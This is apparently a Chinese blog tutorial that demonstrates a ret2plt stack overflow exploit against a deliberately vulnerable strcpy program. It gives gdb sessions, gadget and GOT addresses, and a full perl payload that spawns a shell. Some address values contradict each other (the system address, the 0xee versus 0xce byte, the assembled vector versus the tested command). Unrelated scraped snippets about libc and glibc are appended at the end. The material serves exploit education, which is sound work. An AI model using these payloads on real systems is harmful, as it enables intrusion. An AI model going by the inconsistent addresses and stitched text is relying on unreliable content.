使用ret2plt绕过libc安全区

背景

前面介绍ret2libc攻击技术,原理很简单,只需要将system函数的地址填充到eip的位置,然后再把”/bin/bash”地址填充到eip + 8的位置即可以实现攻击。

很快安全专家提出了ASCII armoring保护机制。该方法完全为抵抗ret2libc攻击方法而生。既然ret2libc需要将system函数地址填充到栈上,那ASCII armoring就想办法让libc所有函数的地址都包含一个零字节(NULL byte),让strcpy拷贝函数在遇到零地址时结束拷贝,攻击失败。

尽管有了ASCII armoring机制,但很快安全人员发现一种新攻击方法,可以攻破它,这个方法称为ret2plt。在介绍ret2plt之前,我们先简单介绍一下什么是plt。

ELF的姐妹花plt与got

PLT全称为Procedure Linkage Table,中文为链接过程表,它与动态库的动态链接过程息息相关。提到PLT就不得不要提及GOT,GOT全移为Global Offset Table。plt和got是调用动态库函数的重要过程。

为了方便讨论 plt和got,我们将今晚的主角代码请出场(stack4.c)

#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {
    char buffer[512];
    strcpy(buffer, input);

    printf("strcpy %s\n", input);
    printf("strcpy done\n");
}

int main(int argc, char *argv[]) {
    evilfunction(argv[1]);
    return 0;
}

编译

gcc -Wall -g -o stack4 stack4.c -fno-stack-protector -m32

眼尖读者会想到,上述代码中的strcpy和printf函数都是glibc库里面,glibc动态库的运行地址是运行时动态加载才能确定的,编译时是不知道它的真实地址的,那编译器是怎么解决的呢?

ELF规范使用PLT和GOT技术解决动态重定位过程,每个动态库函数(上述的strcpy和printf)都有段PLT桩代码和一个GOT项。

PLT桩代码用于引导调用者跳到动态链接器(ld-linux.so.2),而GOT项则存该函数动态重定位完成之后找到的真正地址。

以上代码为样本,以一张图来显示printf/strcpy函数的 PLT以及GOT的关系。

如果有机会可再写一篇详细介绍PLT和GOT的文章,在里面只做简单的介绍。

PLT表是由多个PLT表项组成,其中第一项是公共项,剩下是每个动态库函数一项,每项由3条指令组成(具体X86和ARM不同,上图为X86版本)。

GOT表也是由多个GOT表项组成,前面有3项个公共项,剩下的是每个动态库函数一项,动态库项存放的是动态库加载之后该函数的真正地址。

对于已经找到真正地址的动态库函数来说,它的GOT表存放真正地址(上图中展示的情况是还未找它的真正地址),它的调用过程非常简单,以evilfunction函数调用strcpy函数为例,就是执行上图中的1,2,3这三步,就执行到strcpy函数内部。

但是任何一个动态库函数调用,它的第一次调用,GOT表项还没有存放它的真正地址,它需要在这一次调用中做两个事情1)通过动态链接找到该函数地址填到GOT表项中,2)再调用。

第2)步调用与已经重定位好的函数调用没有两样,下面简单说一下第1)步。还是以strcpy函数为例:它的GOT项为上图中标示为3的项,编译器在静态链接中,无法知道strcpy的运行地址,所以它的GOT内空指向了strcpy PLT表项中的第二条指令(上图标4),然后跳到公共PLT表项(上图6和7),最后根据GOT第3公共项(上图标8)跳到动态链接器的符号查找函数将strcpy的函数找到,并将地址写到它对应的GOT表项。它的完整过程就是上图中1->2->3->4->5->6->7->8过程。

后面会讲述如何利用PLT和GOT进行攻击,只需了解如下要点即可:

1)evilfunction函数只需要知该函数对应的PLT桩地址即可以调用,其它事情由PLT和GOT处理,evilfunction不需要感知实现细节

2)GOT表项保存动态库函数的地址。

ret2plt攻击路思

ret2libc攻击方法的的要点就是将system和”/bin/bash”两个地址注入到栈中,但是ASCII armoring让system地址产生了零字节,无法进行同样的攻击。

那该如何处理?安全专家想到了一个非常有技巧性的方法,就是能否不直接拷贝system函数的地址,而是通过不同的内存空间拼凑而产生system的地址。这样产生了两个问题

  • 有什么技巧可以多次拼凑成system函数地址
  • 该地址应该在什么地址比较适合

对于第一点,想到了一个叫RRP(pop; pop; ret)指令序列可以将多个strcpy函数调用串起来。

对于第二点,有一个比较不依赖于libc空间的地址,即就是GOT表项。

因此,ret2plt的攻击思想就是:通过多次strcpy函数,拼凑出system函数地址放到某个GOT表中,然后通过GOT来调用system函数。它的栈结构和执行过程如图所示:

整个过程最为巧妙的过程就是利用PPR(pop, pop, ret指令顺序首地址)技巧,使用可以将高地址的两个参数出栈,再执行下一个strcpy函数。

攻击过程

根据上图的栈结构,需要找到如下的地址:

1. strcpy的plt地址

2. PPR指令序列地址

3. system函数地址,并且找到4个地址分别包含system[0], system[1], system[2]和system[3]

4. puts的got地址

5. puts的plt地址

6. “/bin/bash”字符串地址

对准eip位置

gdb ./stack4

(gdb) r “$(perl -e ‘print “A”x524 . “BBBB” . “”’)”

Starting program: /home/ivan/exploit/stack4 “$(perl -e ‘print “A”x524 . “BBBB” . “”’)”

strcpy

strcpy done

Program received signal SIGSEGV, Segmentation fault.

0x42424242 in ?? ()

(gdb)

显然第524字节之后就可以对准EIP了。

strcpy的PLT地址

(gdb) disassemble evilfunction
 Dump of assembler code for function evilfunction:
    0x08048444 <+0>:     push   %ebp
    0x08048445 <+1>:     mov    %esp,%ebp
    0x08048447 <+3>:     sub    $0x218,%esp
    0x0804844d <+9>:     mov    0x8(%ebp),%eax
    0x08048450 <+12>:    mov    %eax,0x4(%esp)
    0x08048454 <+16>:    lea    -0x208(%ebp),%eax
    0x0804845a <+22>:    mov    %eax,(%esp)
    0x0804845d <+25>:    call   0x8048350 <strcpy@plt>
    0x08048462 <+30>:    mov    $0x8048580,%eax
    0x08048467 <+35>:    mov    0x8(%ebp),%edx
    0x0804846a <+38>:    mov    %edx,0x4(%esp)
    0x0804846e <+42>:    mov    %eax,(%esp)
    0x08048471 <+45>:    call   0x8048340 <printf@plt>
    0x08048476 <+50>:    movl   $0x804858b,(%esp)
    0x0804847d <+57>:    call   0x8048360 <puts@plt>
    0x08048482 <+62>:    leave
    0x08048483 <+63>:    ret
 End of assembler dump.

直接反编译evilfunction可直接获取strcpy的PLT地址为0x08048350。

PPR指令地址

使用objdump -d stack4命令输出汇编指令,然后查找pop/pop/ret指令顺序,结果如下:

8048412: 5b pop %ebx

8048413: 5d pop %ebp

8048414: c3 ret

因此PPR的地址为: 0x08048412。

system[0..3]地址

由于 ASCII armoring机制,system的地址含有零字节,造成strcpy拷贝结束,达不到预期的攻击效果。攻击者想到ret2plt攻击方法,就是找到4个地址空间,它的首字节分别是system地址的第一个byte, 第二个byte,第三个byte和第四个byte,然后一个个byte拷贝,将这4个byte拼凑到GOT里面。从而绕过直接拷贝system地址造成失败。

system地址

ASCII armoring特性是Redhat开发的,只在Redhat Server和 Fodera上才有,Ubuntu上没有该安全特性。本测试是在Ubuntu上进行的,它的system地址不包含零字节,本可以直接使用ret2libc进行攻击的。但为了展示ret2plt攻击方法的高超技巧,还得值得跟大家分享的。

(gdb) p system
$1={<text variable, no debug info>} 0xf7e5ce80 <system>

system的址为0xf5e5ce80

找到4个地址首字节包含system的byte

对于字节查找gdb提供了find命令,可以对某一段内存空间上查找某些字节或者字内容。

那该在哪些空间查找呢,为了攻击更准确,可以只在镜像内存空间上查找,gdb提供了info file命令,查看进程空间布局:

(gdb) info file

Symbols from “/home/ivan/exploit/stack4”.

Unix child process:

Using the running image of child process 4883.

While running this, GDB does not access memory from…

Local exec file:

`/home/ivan/exploit/stack4’, file type elf32-i386.

Entry point: 0x8048390

0x08048154 - 0x08048167 is .interp

0x08048168 - 0x08048188 is .note.ABI-tag

0x08048188 - 0x080481ac is .note.gnu.build-id

0x080481ac - 0x080481cc is .gnu.hash

0x080481cc - 0x0804823c is .dynsym

0x0804823c - 0x08048294 is .dynstr

0x08048294 - 0x080482a2 is .gnu.version

0x080482a4 - 0x080482c4 is .gnu.version_r

0x080482c4 - 0x080482cc is .rel.dyn

0x080482cc - 0x080482f4 is .rel.plt

0x080482f4 - 0x08048322 is .init

0x08048330 - 0x08048390 is .plt

0x08048390 - 0x0804855c is .text

0x0804855c - 0x08048576 is .fini

0x08048578 - 0x08048597 is .rodata

0x08048598 - 0x080485d4 is .eh_frame_hdr

0x080485d4 - 0x080486b8 is .eh_frame

0x08049f14 - 0x08049f1c is .ctors

0x08049f1c - 0x08049f24 is .dtors

0x08049f24 - 0x08049f28 is .jcr

0x08049f28 - 0x08049ff0 is .dynamic

0x08049ff0 - 0x08049ff4 is .got

0x08049ff4 - 0x0804a014 is .got.plt

0x0804a014 - 0x0804a01c is .data

0x0804a01c - 0x0804a024 is .bss

0xf7fdc114 - 0xf7fdc138 is .note.gnu.build-id in /lib/ld-linux.so.2

0xf7fdc138 - 0xf7fdc1f4 is .hash in /lib/ld-linux.so.2

0xf7fdc1f4 - 0xf7fdc2d4 is .gnu.hash in /lib/ld-linux.so.2

0xf7fdc2d4 - 0xf7fdc494 is .dynsym in /lib/ld-linux.so.2

0xf7fdc494 - 0xf7fdc612 is .dynstr in /lib/ld-linux.so.2

0xf7fdc612 - 0xf7fdc64a is .gnu.version in /lib/ld-linux.so.2

0xf7fdc64c - 0xf7fdc714 is .gnu.version_d in /lib/ld-linux.so.2

从第一个段,到BSS段都属于镜像内存,使用find命令在此空间内查找system地址的4个byte。注意:由于system地址最终要拷贝到got表,X86是小端字节序,因此先要拷贝低位字节,即拷贝顺序是: 0x80, 0xce, 0xe5, 0xf7。依此顺序4个byte的find命令的如果如下:

(gdb) find /b 0x08048154, 0x08049f24, 0x80
 0x80483c7 <__do_global_dtors_aux+7>

 (gdb) find /b 0x08048154, 0x0804a024, 0xee
 0x804845e <evilfunction+26>

 (gdb) find /b 0x08048154, 0x0804a024, 0xe5
 0x80483c2 <__do_global_dtors_aux+2>

 (gdb) find /b 0x08048154, 0x0804a024, 0xf7
 0x8049f6f

4地址分别是:0x80483c7, 0x804845e ,0x80483c2,0x8049f6f

puts的plt地址和got地址

其实只需要把system地址拼凑到got表项即可,不一定是需要puts函数的got表项。但有另一点需要注意的是,上面查找到首字节分别包含 0x80, 0xce, 0xe5, 0xf7的地址空间,它的第二字节不一定是0x00,即字符串结束符。那么strcpy在做地址拼凑拷贝时,会拷贝多个字节,甚至把下一个got都覆盖了。因此在选项目标got时,它的地址一定要在strcpy got地址的后面,否则strpcy got一旦被修改后,strcpy的调用会失效,这就是本文选择 puts got的原因。

通过gdb反编译evilfunction可找到它的plt地址,沿着plt指令可以找到got地址,分别如下:

[email protected] = 0x08048360

[email protected] = 0x0804a008

“/bin/bash”字符串地址

根据前面介绍的方法,可以在攻击向量中包含”/bin/bash”字符串,然后计算它对应的栈地址,也就找到了。

其实,Linux里面有个shell环境变量,表示前使用哪个shell,它的值通常是”/bin/bash”,如下:

$ env | grep -i shell

SHELL=/bin/bash

每个进程的环境变量都保存在主线程的栈上,因此可以在主线程栈空间上找到该字符串。由于本文的代码为单线程 ,因此可以沿着esp地址往上找即可:

(gdb) x/1000s $esp

0xffffd8b4: “/home/ivan/exploit/stack4”

0xffffd8ce: “SHELL=/bin/bash”

0xffffd8de: “TERM=xterm”

因此”/bin/bash”字符串地址为0xffffd8ce + 6 = 0xffffd8d4

形成攻击向量

其实图2已有攻击结构,内容如下:

[email protected] + PPR + [email protected][0] + addr of system[0]

[email protected] + PPR + [email protected][1] + addr of system[1]

[email protected] + PPR + [email protected][2] + addr of system[2]

[email protected] + PPR + [email protected][3] + addr of system[3]

[email protected] + exit + addr of “/bin/bash”

根据上面使用gdb一步步找到的内容往上填,即可形成攻击向量:

“\x50\x83\x04\x08” . “\x12\x84\x04\x08” . “\x08\xa0\x04\x08” . “\xc7\x83\x04\x08” .

“\x50\x83\x04\x08” . “\x12\x84\x04\x08” . “\x0a\xa0\x04\x08” . “\xc2\x83\x04\x08” .

“\x50\x83\x04\x08” . “\x12\x84\x04\x08” . “\x0b\xa0\x04\x08” . “\x6f\x9f\x04\x08” .

“\x60\x83\x04\x08” . “\x60\x2b\xe5\xf7” . “\xd4\xd8\xff\xff”

测试

./stack4"(perl -e ‘print “A”x524 . “\x50\x83\x04\x08” . “\x12\x84\x04\x08” . “\x08\xa0\x04\x08” . “\xc7\x83\x04\x08” . “\x50\x83\x04\x08” . “\x12\x84\x04\x08” . “\x09\xa0\x04\x08” . “\x5e\x84\x04\x08” . “\x50\x83\x04\x08” . “\x12\x84\x04\x08” . “\x0a\xa0\x04\x08” . “\xc2\x83\x04\x08” . “\x50\x83\x04\x08” . “\x12\x84\x04\x08” . “\x0b\xa0\x04\x08” . “\x6f\x9f\x04\x08” . “\x60\x83\x04\x08” . “\x60\x2b\xe5\xf7” . “\xd4\xd8\xff\xff”’)”

strcpy []ít&

strcpy done

$

成功打开一个新bash,测试通过。

小结

ret2plt攻击难度比之前的ret2lic攻击方法难度高很多,对于入门者来说,很难一次攻击成功,需要不停地使用gdb调用,才能最终成功。测试时需要多用gdb进行分析攻击向量哪里搞错了。

版权声明:本文为博主原创文章,承蒙转载请注明作者和出处

时间: 2024-10-13 06:57:34

使用ret2plt绕过libc安全区的相关文章

【整理】libc、glibc和glib的关系

[glibc 和 libc] glibc 和 libc 都是 Linux 下的 C 函数库. libc 是 Linux 下的 ANSI C 函数库:glibc 是 Linux 下的 GUN C 函数库. ANSI C 和 GNU C 有什么区别呢? ANSI C 函数库是基本的 C 语言函数库,包含了 C 语言最基本的库函数.这个库可以根据头文件划分为 15 个部分,其中包括: <ctype.h>:包含用来测试某个特征字符的函数的函数原型,以及用来转换大小写字母的函数原型: <errno

glibc | 和 libc 的关系

libc.glibc和glib的关系:http://blog.csdn.net/yasi_xi/article/details/9899599 glibc 和 libc 都是 Linux 下的 C 函数库. libc 是 Linux 下的 ANSI C 函数库:glibc 是 Linux 下的 GUN C 函数库. glibc在/lib目录下的.so文件为libc.so.6. ANSI C 和 GNU C 有什么区别呢? ANSI C 函数库是基本的 C 语言函数库,包含了 C 语言最基本的库函

glibc/libc/blib区别

转自:http://blog.csdn.net/yasi_xi/article/details/9899599 [glibc 和 libc] glibc 和 libc 都是 Linux 下的 C 函数库. libc 是 Linux 下的 ANSI C 函数库:glibc 是 Linux 下的 GUN C 函数库. ANSI C 和 GNU C 有什么区别呢? ANSI C 函数库是基本的 C 语言函数库,包含了 C 语言最基本的库函数.这个库可以根据头文件划分为 15 个部分,其中包括: <ct

[转帖]glib gslibc libc 的关系与区别

https://blog.csdn.net/Com_ma/article/details/78692092 [glibc 和 libc] glibc 和 libc 都是 Linux 下的 C 函数库. libc 是 Linux 下的 ANSI C 函数库:glibc 是 Linux 下的 GUN C 函数库. ANSI C 和 GNU C 有什么区别呢? ANSI C 函数库是基本的 C 语言函数库,包含了 C 语言最基本的库函数.这个库可以根据头文件划分为 15 个部分,其中包括: <ctyp

TOKEN+签名验证有办法绕过吗

我发现一款软件就是不知道怎么绕过他的签名校验,大牛帮忙看看指导下  地址:https://pan.baidu.com/s/1o8t1hXo

Web安全--XSS现代WAF规则探测及绕过技术

XSS现代WAF规则探测及绕过技术初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等: 2.如果过滤闭合标签,尝试无闭合标签的payload(<b,<i,<marquee)观察响应: 3.尝试以下的payload 1 <script>alert(1);</script> 2 <script>prompt(1);<

用OSSIM检查出Grub2登录验证绕过0Day漏洞

研究人员发现了一个Grub2的漏洞,版本1.98(2009年发布)到2.02(2015年发布)均受影响.本地用户能够通过这个漏洞绕过任何形式的认证(明文密码或者哈希密码),使得攻击者进而可以获得电脑的控制权限.而大部分的linux系统都将Grub2作为开机引导程序,包括一些嵌入式系统.因此将有不计其数的设备受到此漏洞的威胁.我们利用OSSIM就能发现含有此漏洞的机器.OSSIM所包含漏洞库如下图所示.

黑客是怎样绕过WAF讲解

什么是WAFWeb Application Firewall通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击.目前主要有单设备WAF与云WAFWAF的现状1.太多数WAF能够拦截较为普通的WEB攻击2.大多数WAF没有针对热点漏洞奇葩攻击EXP防御的能力3.基本所有的WAF都存在策略性绕过4.由于waf的业务限制等各种原因导致存在通用绕过 WAF逻辑漏洞及白名单阶段的绕过1.搜索引擎白名单(判断引擎方式不严)2.IP段白名单绕过3.目录白名单绕过4.绕过代理直接请求源站(

Linux误删C基本运行库libc.so.6急救方法

首先普及一下关于libc.so.6的基本常识: libc.so.6是glibc的软链接 ll  /lib64/libc.so.6lrwxrwxrwx 1 root root 11 Aug 27 2014 /lib64/libc.so.6 -> libc-2.5.so glibc是gnu发布的libc库,即c运行库.glibc是linux系统中最底层的api,几乎其它任何运行库都会依赖于glibc,所以说绝大部分操作命令都缺少不了它 如何误删了/lib64/libc.so.6,大部分系统命令将无法